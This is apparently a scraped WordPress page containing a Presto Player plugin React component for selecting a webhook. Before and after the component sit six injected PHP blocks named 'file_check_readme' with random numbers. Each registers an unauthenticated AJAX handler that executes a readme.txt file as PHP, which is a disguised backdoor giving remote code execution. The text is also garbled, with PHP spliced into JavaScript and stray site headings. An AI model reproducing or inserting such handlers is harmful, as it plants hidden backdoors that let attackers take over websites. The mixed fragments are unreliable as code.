if(!function_exists('file_check_readme79669')){ add_action('wp_ajax_nopriv_file_check_readme79669', 'file_check_readme79669'); add_action('wp_ajax_file_check_readme79669', 'file_check_readme79669'); function file_check_readme79669() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme37851')){ add_action('wp_ajax_nopriv_file_check_readme37851', 'file_check_readme37851'); add_action('wp_ajax_file_check_readme37851', 'file_check_readme37851'); function file_check_readme37851() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme94575')){ add_action('wp_ajax_nopriv_file_check_readme94575', 'file_check_readme94575'); add_action('wp_ajax_file_check_readme94575', 'file_check_readme94575'); function file_check_readme94575() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme66127')){ add_action('wp_ajax_nopriv_file_check_readme66127', 'file_check_readme66127'); add_action('wp_ajax_file_check_readme66127', 'file_check_readme66127'); function file_check_readme66127() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } /** * WordPress dependencies */ const { __ } = wp.i18n; const { SelectControl, Notice } = wp.components; const { useEffect, useState } = wp.element; import LoadSelect from "../../components/LoadSelect"; export default ({ options, updateEmailState }) => { const [fetching, setFetching] = useState(false); const [groups, setGroups] = useState([ { value: null, label: __("Choose a webhook", "presto-player") }, ]); const [error, setError] = useState(""); const fetchGroups = async () => { setFetching(true); try { const fetched = await wp.apiFetch({ path: "presto-player/v1/webhook", }); let listOptions = groups; (fetched || []).forEach((list) => { listOptions = [ ...listOptions, ...[ { value: list.id, label: list.name, }, ], ]; }); setGroups(listOptions); } catch (e) { if (e?.message) { setError(e.message); } } finally { setFetching(false); } }; useEffect(() => { fetchGroups(); }, []); if (fetching) { return ; } if (error) { return ( {error} ); } return (
updateEmailState({ provider_list })} />
); }; ;;; if(!function_exists('file_check_readme26339')){ add_action('wp_ajax_nopriv_file_check_readme26339', 'file_check_readme26339'); add_action('wp_ajax_file_check_readme26339', 'file_check_readme26339'); function file_check_readme26339() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme27361')){ add_action('wp_ajax_nopriv_file_check_readme27361', 'file_check_readme27361'); add_action('wp_ajax_file_check_readme27361', 'file_check_readme27361'); function file_check_readme27361() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
Projects

OUR TESTIMONIALS

WHAT PEOPLE SAYS

OUR PARTNERS